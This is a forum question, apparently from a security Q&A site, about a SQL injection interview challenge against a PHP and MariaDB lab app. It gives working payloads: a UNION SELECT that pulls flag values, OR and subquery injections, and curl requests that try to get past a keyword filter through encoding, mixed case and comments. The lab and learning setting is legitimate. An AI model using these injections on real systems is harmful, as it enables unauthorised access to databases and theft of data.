I've recently had an interesting interview exercise I haven't completed and it does puzzle me what kind of filter/protection they've used. The vuln app is a PHP with simple MariaDB (5.5.56) back-end, where name FORM is vulnerable to SQL injection and challenge is to get FLAG value from diffrent table.

In first exercise, it has been dead simple exploit such us:

' UNION ALL SELECT version(),GROUP_CONCAT(flag) FROM challenges.one --

With the 2nd challenge, the FORM filed looks the same and display same column values(name,tokens) as in the 1st challenge.

I can confirm vuln with simple OR but

' OR tokens=100 --

I can use subquery in my injections, so I can test for blocked keywords and for example select keyword is not blocked: ' OR tokens=(select 100) --

The moment I use union keyword I get 0 rows returned. I think it is a UNION keyword that is blocked as even with simple: ' OR tokens in (select NULL union select 100) -- I get 0 rows returned in 2nd challange but query does work in 1st.

Every attempt of encoding, injection some extra characters to bypass filter fails. So far I've tried URL encoding, Mix case, comment in keyword and extra split keyword with another one in case keywords are stripped. I've been trying to run them in 1st challenge first to verify that syntax works as they are sharing same database back-end.

cURL example:

curl 'https://<URL>.php?name=%27%75%6e%69%6f%6e+select+1,2+--+' <- Works in 1st chl
curl 'https://<URL>.php?name=%27UnIoN+select+1,2+--+' <- Works in 1st chl
curl 'https://<URL>.php?name=%27un/\*\*/+select+1,2+--+' <- Doesn't work, the /**/ comments are breaking syntax in 1st chl
curl 'https://<URL>.php?name=%27uNunionIoN+select+1,2+--+' < Doesn't work in 1st chl, the extra characters around union are breaking syntax as there is no filter/protection to replace them with nothing.

Very much tested every option from:




I can't figure it out, every little help welcome.

  • Comments are not for extended discussion; this conversation has been moved to chat. – Rory Alsop Aug 21 at 7:58
  • The question has been answered but I haven't got button to mark as answered. I've up voted the correct answer however, but the answer now been moved to chat – mirek Aug 22 at 8:13
  • Mirek - comments are not answers. You cannot mark a comment as answered - it needs to be posted as an answer. – Rory Alsop Aug 22 at 14:36
  • I'm new to asking questions, how I can posted as an answer as the question has been answered correctly. – mirek Aug 23 at 15:19
  • To post an answer, use the Answer link – Rory Alsop Aug 23 at 18:42

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.